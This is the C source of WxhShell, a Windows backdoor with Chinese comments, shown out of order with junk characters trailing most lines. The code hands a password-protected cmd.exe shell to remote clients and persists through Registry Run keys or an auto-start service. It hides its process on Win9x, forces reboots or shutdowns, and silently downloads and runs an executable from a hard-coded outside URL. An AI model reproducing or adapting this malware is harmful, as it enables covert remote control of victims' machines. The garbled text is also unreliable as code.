    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TjI&8#AWBA  
    else { rY8(`a  
    closesocket(wsh); S9ic4rcd  
    ExitThread(0); rBi6AM/  
    } K\zb+  
    break; 2##mVEo.(  
    }  dvz6  
  // 获取shell IO ]tO[P#  
  case 's': { 0)7v _|z  
    CmdShell(wsh); +5 gX6V\  
    closesocket(wsh); fEiNHVx  
    ExitThread(0); rixVIfVF  
    break; *YGj^+   
  } Y3s8@0b3  
  // 退出 mAET`B "  
  case 'x': { (`4&Y-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L3'isaz&^  
    CloseIt(wsh); xg8R>j  
    break; :RwURv+kT  
    } hwQ|'^(@O  
  // 离开 ]6s/y  
  case 'q': { W]_a_5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H K J^6|'  
    closesocket(wsh); l*huKSX}  
    WSACleanup(); eVB43]g  
    exit(1); }2:q#}"  
    break; dLeos9M:  
        } y7+n*|H  
  } D:?"Rf{)  
  } !%DE(E*'(  
_n{_\/A6f  
  // 提示信息 UEt78eN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7i'clB9!  
} >n(dyU@  
  } Xw jm T  
V~Z)^.6  
  return; b?VByJl  
} 7/_|/4&  
;!lwB  
// shell模块句柄 a=x &sz\x  
int CmdShell(SOCKET sock) dmcY]m  
{ L/,g D.h^  
STARTUPINFO si; (w\|yPBB  
ZeroMemory(&si,sizeof(si)); 1 3)6p|6x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [dUAb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  TU6YS<  
PROCESS_INFORMATION ProcessInfo; aY;34SF  
char cmdline[]="cmd"; "gzn%k[D9m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vu}U2 0@  
  return 0; !0UfX{.  
} ;l<Hen*  
49O_A[(d  
// 自身启动模式 =<)/lz] H  
int StartFromService(void) (l9jczi  
{ >Q^ mR  
typedef struct <P&X0S`O  
{ [eBt Dc*w  
  DWORD ExitStatus; Evqy e;  
  DWORD PebBaseAddress; L; A#N9  
  DWORD AffinityMask; cxvO,8NiB  
  DWORD BasePriority; ="f-I9y  
  ULONG UniqueProcessId; Io>U-Zd\>  
  ULONG InheritedFromUniqueProcessId; "}ur"bU1  
}   PROCESS_BASIC_INFORMATION; O8N1gf;t  
~E_irzOFP  
PROCNTQSIP NtQueryInformationProcess; c* ~0R?  
xDSiTp=)O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qW|h"9sr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~X %cbFom=  
2']0c  z  
  HANDLE             hProcess; m!!;CbPo  
  PROCESS_BASIC_INFORMATION pbi; 6 b?K-)kL  
R/Sm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t6kLZ  
  if(NULL == hInst ) return 0; TDy)A2Z  
)56L`5#tS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gp~-n7'~O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O U9{Y9e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  | z_av  
Ol<LL#<j4  
  if (!NtQueryInformationProcess) return 0; 9&<c)sS&B  
B<h4ZK%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (!0_s48f  
  if(!hProcess) return 0; B}* \ pdJ  
_ Qek|>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,I+O;B:0  
kK 5~hpv  
  CloseHandle(hProcess); \IzZJGi  
9$ VdYw7D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u`oJ3mS;  
if(hProcess==NULL) return 0; <Hz11 }<(  
CDW| cr{  
HMODULE hMod; 7~ZG"^k  
char procName[255]; Qy=tkCN  
unsigned long cbNeeded; fIatp  
:B|rs&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wf%)::G*uR  
(Ia:>ocE0  
  CloseHandle(hProcess); HM"(cB(n`  
RU=g|TL  
if(strstr(procName,"services")) return 1; // 以服务启动 ^YfAsBs&  
~x_(v,NW  
  return 0; // 注册表启动 xlgT1b:6  
} ?qn4 ea-\P  
{l_D+B;  
// 主模块 ;eO Ye3;c  
int StartWxhshell(LPSTR lpCmdLine) gh"_,ZhZt  
{ {_z6  
  SOCKET wsl; m}: X\G(6Q  
BOOL val=TRUE; d~QJ}a  
  int port=0; IF//bgk-  
  struct sockaddr_in door; -GQ.B{%G  
T2mZkK?rA  
  if(wscfg.ws_autoins) Install(); NcX-* o  
,'l.u?SKyd  
port=atoi(lpCmdLine); 2"P1I  
qEdY]t   
if(port<=0) port=wscfg.ws_port; h\Zh^B6J  
NA/Sv"7om  
  WSADATA data; 3=UufI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iU~d2R+  
4K4u]"1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~EYdEqS)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4xFAFK~lx  
  door.sin_family = AF_INET; `$3P@SO"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |Xv\3r  
  door.sin_port = htons(port); XoMgb DC  
HBk5 p>&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R\$6_  
closesocket(wsl); *0'{ n*>  
return 1; WFS6N.Ap  
} %VXIiu[  
~wGjr7Wt  
  if(listen(wsl,2) == INVALID_SOCKET) { /\1Q :B3W  
closesocket(wsl); "e29j'u!*  
return 1; OU mZ|  
} Tilr%D(Q  
  Wxhshell(wsl); +OB&PE  
  WSACleanup(); Q-U,1b  
gKIN* Od  
return 0; (KfdN'vW  
H-X5A\\5  
} WFqOVI*l  
O&">%aU1I  
// 以NT服务方式启动 v57Kr ,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) do%.KIk  
{ 6skd>v UU  
DWORD   status = 0; eMH\]A~v"  
  DWORD   specificError = 0xfffffff; nXxnyom,  
)%!X,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yG>sBc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $ WWi2cI;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n4ti{-^4|d  
  serviceStatus.dwWin32ExitCode     = 0; 3|Ar~_]  
  serviceStatus.dwServiceSpecificExitCode = 0; =)]RD%Oq  
  serviceStatus.dwCheckPoint       = 0; 91#n Aj%  
  serviceStatus.dwWaitHint       = 0; #e9XU:9 @g  
T(~^X-k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BTE&7/i 21  
  if (hServiceStatusHandle==0) return; dsb z\w3:  
a<V Mh79*  
status = GetLastError(); 52.hJNq#L  
  if (status!=NO_ERROR) VrFI5_M/  
{ mj y+_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a$6pA@7}  
    serviceStatus.dwCheckPoint       = 0; E 6!V0D  
    serviceStatus.dwWaitHint       = 0; F#efs6{  
    serviceStatus.dwWin32ExitCode     = status; !}xRwkN  
    serviceStatus.dwServiceSpecificExitCode = specificError; b|`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uQWd`7  
    return; ^^)\| kW?  
  } gti=GmL(L  
6(HJYa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L+)mZb&  
  serviceStatus.dwCheckPoint       = 0; qZSW5lC0  
  serviceStatus.dwWaitHint       = 0; $,Y?q n/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :/NP8$~@j  
} Aq/wa6^%  
WS$~o*Z8  
// 处理NT服务事件,比如:启动、停止 m(WVxVB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y XxWu8  
{ e}L(tXZ  
switch(fdwControl) ;[Hrpl S  
{  R"PO@v  
case SERVICE_CONTROL_STOP: Q@UY4gA '  
  serviceStatus.dwWin32ExitCode = 0; q{)Q ?E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %E2C4UbY  
  serviceStatus.dwCheckPoint   = 0; .>( qZEF  
  serviceStatus.dwWaitHint     = 0; <^8OYnp  
  { ?Ye%k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]O+Nl5*  
  } sF#t{x/sW  
  return; It^_?oiK  
case SERVICE_CONTROL_PAUSE: F=kiYa}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sZU Ao&  
  break; tLx8}@X"  
case SERVICE_CONTROL_CONTINUE: h6(L22Hn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .O.fD  
  break; WJ]g7!Ks  
case SERVICE_CONTROL_INTERROGATE: :#W>lq@H  
  break; 83"C~xe?p4  
}; hM`*- +Zb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5{8,+ Z  
} <NMOs"NB  
UgLJV2M6  
// 标准应用程序主函数 Xec U&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _Hq)mF  
{ gr$H?|n l  
)i>T\B  
// 获取操作系统版本 DZ|/#- k  
OsIsNt=GetOsVer(); . J*2J(T,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K+c>Cj}H  
cGjkx3l*  
  // 从命令行安装 i{/nHrN  
  if(strpbrk(lpCmdLine,"iI")) Install(); woK?td|/  
7PI|~Ifi  
  // 下载执行文件 g/soop\:  
if(wscfg.ws_downexe) { px_%5^zRQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BRMR> ~k(  
  WinExec(wscfg.ws_filenam,SW_HIDE); C/pu]%n@4  
} ^kpu9H  
Z7R+'OC  
if(!OsIsNt) { 4'# _b  
// 如果时win9x,隐藏进程并且设置为注册表启动 OKzk\F6  
HideProc(); =t-503e.J  
StartWxhshell(lpCmdLine); J)Td'iT(  
} )F35WP~  
else BLhuYuON  
  if(StartFromService()) ]dIr;x`  
  // 以服务方式启动 :J+GodW  
  StartServiceCtrlDispatcher(DispatchTable); y<5xlN(+v  
else uM~j  
  // 普通方式启动 .](s\6'  
  StartWxhshell(lpCmdLine); D$c4's `5  
S-+^L|  
return 0; meV RdQ  
} 1YMu\(  
x; *KRO  
bwh.ekf8  
*,DBRJ_*7  
=========================================== !b+Kasss9  
D<cHa |  
V]9 ?9-r  
3bPvL/\Lb  
'H,l\i@"  
KcjP39@I  
" I*K~GXWs#  
DavG=kvd  
#include <stdio.h> th*E"@  
#include <string.h> ^UK6q2[  
#include <windows.h> x_5H_! \#  
#include <winsock2.h> ];go?.*C  
#include <winsvc.h> XX(;,[(_  
#include <urlmon.h> ?wx|n_3<:  
{GiR-q{t  
#pragma comment (lib, "Ws2_32.lib") Wc$1Re{z  
#pragma comment (lib, "urlmon.lib") Ie?C<(8Ul  
 `#lNur\x  
#define MAX_USER   100 // 最大客户端连接数 "L" 6jT  
#define BUF_SOCK   200 // sock buffer W7"ks(  
#define KEY_BUFF   255 // 输入 buffer oFV >b  
)/9/p17:xu  
#define REBOOT     0   // 重启 Ofg-gCF8  
#define SHUTDOWN   1   // 关机 ~(`iRxK  
kSw.Q2ao  
#define DEF_PORT   5000 // 监听端口 ~dK)U*Q  
IPnbR)[%  
#define REG_LEN     16   // 注册表键长度 OsR4oT  
#define SVC_LEN     80   // NT服务名长度 6]^}GyM!  
l8hOryB&  
// 从dll定义API [?hc.COE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o3l_&?^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xu:S h<:R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MLcc   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (v8jVbg  
m>6,{g)  
// wxhshell配置信息 pemb2HQ'4j  
struct WSCFG { S0Y$$r  
  int ws_port;         // 监听端口 u#Qd `@p  
  char ws_passstr[REG_LEN]; // 口令 BS;_l"?  
  int ws_autoins;       // 安装标记, 1=yes 0=no b#^UP  
  char ws_regname[REG_LEN]; // 注册表键名 ; ,]T|> M  
  char ws_svcname[REG_LEN]; // 服务名 &la;Vu"dp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \5Jpr'mY5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m$:o+IH/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b{t'Doe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }cG!93  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7!`,P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 snV,rZ  
s7<x~v+^  
}; FHI` /  
AjK'P<:/  
// default Wxhshell configuration g#1_`gK  
struct WSCFG wscfg={DEF_PORT, Jn. WbS  
    "xuhuanlingzhe", %@5f+5{i!z  
    1, n8[ sl]L  
    "Wxhshell", ".eD&oX{  
    "Wxhshell", _d&FB~=  
            "WxhShell Service", 5TVDt  
    "Wrsky Windows CmdShell Service", C-$S]6  
    "Please Input Your Password: ", 1 {dhGX  
  1, Dm[4`p@IY\  
  "http://www.wrsky.com/wxhshell.exe", ]w(i,iJ  
  "Wxhshell.exe" A - G?@U  
    }; >v`lsCGb  
|b52JF ",  
// 消息定义模块 >9(lFh0P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [C)-=.Xx)j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Be+vC=\K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $z]gy]F  
char *msg_ws_ext="\n\rExit."; g#;w)-Zj  
char *msg_ws_end="\n\rQuit."; l-"$a8jn2  
char *msg_ws_boot="\n\rReboot..."; E[>4b7{g:  
char *msg_ws_poff="\n\rShutdown..."; ewSFB< N  
char *msg_ws_down="\n\rSave to "; 1j<=TWit  
w9h\J#f  
char *msg_ws_err="\n\rErr!"; Y6/'gg'&5  
char *msg_ws_ok="\n\rOK!"; u~6`9'Ms  
'@9h@,tc  
char ExeFile[MAX_PATH]; }.O2xZ;}]'  
int nUser = 0; {b[8x   
HANDLE handles[MAX_USER]; hV/$6 8A_  
int OsIsNt; 7^h?<X\  
*Y6BPFE*4  
SERVICE_STATUS       serviceStatus; 6';'pHqe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T+m`a #  
9Nglt3J[  
// 函数声明 6)kF!/J  
int Install(void); b/ h,qv  
int Uninstall(void); :Q=Jn?Gjb  
int DownloadFile(char *sURL, SOCKET wsh); 1GVJ3VXt  
int Boot(int flag); Q d]5e  
void HideProc(void); ;$ =`BI)  
int GetOsVer(void); 0}k[s+^  
int Wxhshell(SOCKET wsl); ig] * Z  
void TalkWithClient(void *cs); `AeId/A4n  
int CmdShell(SOCKET sock); `(<XdlOj  
int StartFromService(void); ?ZDXT2b~~  
int StartWxhshell(LPSTR lpCmdLine); pm,&kE  
LZV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xj iMM>|n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [>Kkj;*  
W~ XJ']e  
// 数据结构和表定义 [nxjPx9-  
SERVICE_TABLE_ENTRY DispatchTable[] = SEF/ D0  
{ W\o(f W  
{wscfg.ws_svcname, NTServiceMain}, eP$0TDZ  
{NULL, NULL} eXWiTi@  
}; _) 2fXG!  
l=[<gPE  
// 自我安装 _=XzQZT!L  
int Install(void)  z@^l1)m  
{ 0m6Vf x  
  char svExeFile[MAX_PATH]; lqa.Nj  
  HKEY key; a-,!K  
  strcpy(svExeFile,ExeFile); 0n|op:]BHM  
bN@V=C3  
// 如果是win9x系统,修改注册表设为自启动 &Jv j@,>$d  
if(!OsIsNt) { wX" 6 S:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .R;HH_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UHF.R>Ry  
  RegCloseKey(key); 8*I43Jtlf,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?h"+q8&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); as- Z)h[B  
  RegCloseKey(key); &!vJ3:  
  return 0; :bFmw dX  
    } R4u=.  
  } 0#KDvCBJ  
} meT~b  
else { C] qY  
|S|0'C*  
// 如果是NT以上系统,安装为系统服务 ~T9%%W[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hV])\t=yf  
if (schSCManager!=0) =O1N*'e  
{ ngj=w;7~+  
  SC_HANDLE schService = CreateService e'mm42  
  ( ! R?r)G5E  
  schSCManager, snO d 3Bw  
  wscfg.ws_svcname, mnu4XE#|  
  wscfg.ws_svcdisp, So\(]S  
  SERVICE_ALL_ACCESS, Q5b?- P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N&U=5c`Q'  
  SERVICE_AUTO_START, i)g=Lew  
  SERVICE_ERROR_NORMAL, LX'.up11X5  
  svExeFile, B1 oi]hDy  
  NULL, q [Rqy !,  
  NULL, c_<m8b{AEF  
  NULL, X"YH49?  
  NULL, A1zM$ wDU  
  NULL *x2+sgSf_0  
  ); |X k'd@<  
  if (schService!=0) _>%P};G{>  
  { 2i*-ET  
  CloseServiceHandle(schService); @*e|{;X]hy  
  CloseServiceHandle(schSCManager); S)of.Nq.;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3t5`,R1@t  
  strcat(svExeFile,wscfg.ws_svcname); u;p{&\(]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s3kHNDdC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;3OQgKI  
  RegCloseKey(key); YwyP+S r\  
  return 0; ~UX@%0%)N  
    } (wU<Kpt?J  
  } B> *zQb2:  
  CloseServiceHandle(schSCManager); "<H.F 87Z)  
} -"[o|aa^  
} y{+$B Y$_  
:2iNw>z1  
return 1; h`X)sC+  
} X@|'#%  
2%i_SX[  
// 自我卸载 Mh"DPt9@J  
int Uninstall(void) R)MWO5  
{ %^ f! = *  
  HKEY key; xDv$z.=Y  
i"Hec9Ri  
if(!OsIsNt) { Md(AqaA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AM  cHR=/  
  RegDeleteValue(key,wscfg.ws_regname); N7:=%Fy(  
  RegCloseKey(key); t+7h(?8L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @^]wT_r  
  RegDeleteValue(key,wscfg.ws_regname); 9J h"1i>x2  
  RegCloseKey(key); jh0``{  
  return 0; l{ja2brX  
  } JpqZVu"7  
} PnkJ Wl<S  
} <0T5W#H`D  
else { 4$.$j=Ct."  
GTL gj'B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "<ua G?:  
if (schSCManager!=0) g"aWt% P  
{ ^F2 OTz4n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $51M' Qu  
  if (schService!=0) 6t/nM  
  { P1KXvc}JGe  
  if(DeleteService(schService)!=0) { X-2rC  
  CloseServiceHandle(schService); a,g3 /  
  CloseServiceHandle(schSCManager); u UXj  
  return 0; 3fPd|F.kF  
  } r8>(ayJ,  
  CloseServiceHandle(schService); "&;8U.  
  } n "?It  
  CloseServiceHandle(schSCManager); FeOo;|a  
} ,PC'xrEo  
} IlQNo 1  
ATx6YP@7~  
return 1; mOgsO  
} D#Qfa!=g  
afrU>#+"  
// 从指定url下载文件 Bu|U z0Y  
int DownloadFile(char *sURL, SOCKET wsh) \ldjWc<S  
{ nF$n[:  
  HRESULT hr; ,ab_u@  
char seps[]= "/"; W[Kv Qt3%  
char *token; )c|S)iJ7=z  
char *file; V@krw"vW  
char myURL[MAX_PATH]; I3sH8/*  
char myFILE[MAX_PATH]; gwVfiXR4  
wMFo8;L  
strcpy(myURL,sURL); -7jP'l=h  
  token=strtok(myURL,seps); J |4q9$  
  while(token!=NULL) n.9k<  
  { vC$Q4>m  
    file=token; HQPb  
  token=strtok(NULL,seps); fXfBDB  
  } 4CAV)  
4Uz1~AuNxb  
GetCurrentDirectory(MAX_PATH,myFILE); 0-Z sV3I&  
strcat(myFILE, "\\"); )Dn~e#  
strcat(myFILE, file); V)x(\ls]SX  
  send(wsh,myFILE,strlen(myFILE),0); j7r!N^  
send(wsh,"...",3,0); $p_FrN{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &XG k  
  if(hr==S_OK) 1K(a=o[Ce  
return 0; S}fU2Wi  
else QY14N{]T\p  
return 1; }{FKs!(4  
<3?T^/8  
} Ce&nMgd~  
o=/Cje  
// 系统电源模块 Twqkd8[  
int Boot(int flag) ! C}t)R]^  
{ (EZ34,k'S  
  HANDLE hToken; ?naPti1GX  
  TOKEN_PRIVILEGES tkp; p#-ov-znp  
5vxKkk&i4l  
  if(OsIsNt) { !%w#h0(b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D2hEI2S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <eWGvIEP[  
    tkp.PrivilegeCount = 1; $xx5+A%,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 38Rod]\E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $7Sbz&)y3  
if(flag==REBOOT) { si`{>e~`6P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @q=l H *=  
  return 0; JiFy.Pf  
} W40GW  
else { {8L)Fw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 31BN ?q  
  return 0; Y# <38+Gd  
} $#Mew:J  
  } "v.]s;g  
  else { P<+y%g(({  
if(flag==REBOOT) { m3|KIUP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'Na \9b(  
  return 0; -I, _{3.S  
} 44s K2  
else {  ]J= S\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k:?+75?$  
  return 0; eFO+@  
} n])-+[F  
} M~&|-Hm  
#3uBq(-Z  
return 1; >z=_V|^$  
} re.%$D@  
s3G\L<~mB  
// win9x进程隐藏模块 = mn jIp  
void HideProc(void) m~K[+P  
{ K?l1Gj  
|=OO$z;q|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R=D\VIu,Z  
  if ( hKernel != NULL ) 'WqSHb7  
  { %}z/_QZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,+p&ZpH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?nm:e.S+?  
    FreeLibrary(hKernel); !U02>X   
  }  KR  
cQ4TYr;?  
return; )G(6=l*  
} ^V^In-[!y:  
=hV-E D  
// 获取操作系统版本 V/j]UK0$  
int GetOsVer(void) gto@o\&=  
{ dEXHd@"H  
  OSVERSIONINFO winfo; Pn{yk`6E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -KRHcr \  
  GetVersionEx(&winfo); @5gZK[?|I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?FRR";  
  return 1; tVx.J'"Y  
  else T7;)HFGeW  
  return 0;  m8rz i:  
} 7R\!'`]\M  
uo1G   
// 客户端句柄模块 Z2chv,SqCJ  
int Wxhshell(SOCKET wsl) FswMEf-|  
{ -`e=u<Y9@  
  SOCKET wsh; v{rc5 ]\R  
  struct sockaddr_in client; "?j|;p@!>  
  DWORD myID; :oB4\/(G#  
V07x+ovq  
  while(nUser<MAX_USER) <_*8a(j3  
{ ;WIL?[;w  
  int nSize=sizeof(client); 0w >DU^+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $,k SR}  
  if(wsh==INVALID_SOCKET) return 1; Q^Ln`zMe  
?`F")y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6'C!Au  
if(handles[nUser]==0) #( nheL  
  closesocket(wsh); X$JO<@x  
else {nQ}t }B  
  nUser++; *D1fSu!  
  } - Pz )O@ ;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M3Kpp _d_!  
u)P$xkf  
  return 0; 3&*0n^g  
} rL URP2~  
DT&[W<oN  
// 关闭 socket i7~oZ)w  
void CloseIt(SOCKET wsh) ej,MmLu~^  
{ NrvS/ cI!t  
closesocket(wsh); '4sT+q  
nUser--; ilK8V4k<T)  
ExitThread(0); |PN-,f{-  
} |xzqYu?o  
+!POKr  
// 客户端请求句柄 6,G^iv6H  
void TalkWithClient(void *cs) 5q]u:  
{ {s8''+Q#(-  
'D(Hqdr;:  
  SOCKET wsh=(SOCKET)cs; n#3y2,Ml  
  char pwd[SVC_LEN]; pmCBe6n \l  
  char cmd[KEY_BUFF]; i/xPO  
char chr[1]; HqgTu`  
int i,j; nGW wXySq  
|~H'V4)zXu  
  while (nUser < MAX_USER) { HXU"]s2Z  
{(wV>Oc>Jw  
if(wscfg.ws_passstr) { | 7>1)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Uk,5F5   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sSG]I%oB3  
  //ZeroMemory(pwd,KEY_BUFF); :yT~.AK}>1  
      i=0; gb(\c:yg1R  
  while(i<SVC_LEN) { v03~=(  
tBBN62^ X  
  // 设置超时 (Xq eX(s  
  fd_set FdRead; RqHxKj  
  struct timeval TimeOut; e;3$7$n Pv  
  FD_ZERO(&FdRead); Lu:!vTRmw  
  FD_SET(wsh,&FdRead); q\#3G  
  TimeOut.tv_sec=8; @7lZ{jV$  
  TimeOut.tv_usec=0; jZv8X 5i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s*k"-5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \g4\a?i  
8KWT d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V2/+SvB2  
  pwd=chr[0]; 6lT'%ho}B  
  if(chr[0]==0xd || chr[0]==0xa) { FA{I S0  
  pwd=0; uy\YJ.WMQ  
  break; [9?= &O#*  
  } {OAy@6 +  
  i++; f| N(~  
    } mA^>Y_:  
y6*i/3  
  // 如果是非法用户,关闭 socket =r0!-[XCa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5!nZvv  
} 7 oZ-D~3  
HTqikw5X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?7&VT1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A v2 _A  
3C,e>zE}  
while(1) { b}"/K$`Fd  
N=I5MQG  
  ZeroMemory(cmd,KEY_BUFF); i0AC.]4e"  
R&xD|w8UjM  
      // 自动支持客户端 telnet标准   Jy|Mfl%d  
  j=0; .j&jf^a5  
  while(j<KEY_BUFF) { RM<\bZPc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ow^%n(Ezh  
  cmd[j]=chr[0]; 8c/Ii"1  
  if(chr[0]==0xa || chr[0]==0xd) { fglZjT  
  cmd[j]=0; T8m%_U#b  
  break; ZRQPOy  
  } !CMN/=  
  j++; |y=gp  
    } x< 3vA|o  
[cW  
  // 下载文件 v Cmh3TQ  
  if(strstr(cmd,"http://")) { mE7Jv)@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); aEM#V  
  if(DownloadFile(cmd,wsh)) &GZR-/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O~Fk0}-  
  else /nmfp&@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mn4;$1~e>H  
  } Qp?+_<{  
  else { `dNb%f>  
W2B=%`sC  
    switch(cmd[0]) { V9bLm,DtT  
  UCWU|r<s,  
  // 帮助 ropiyT9;  
  case '?': { F>Oh)VL,Ev  
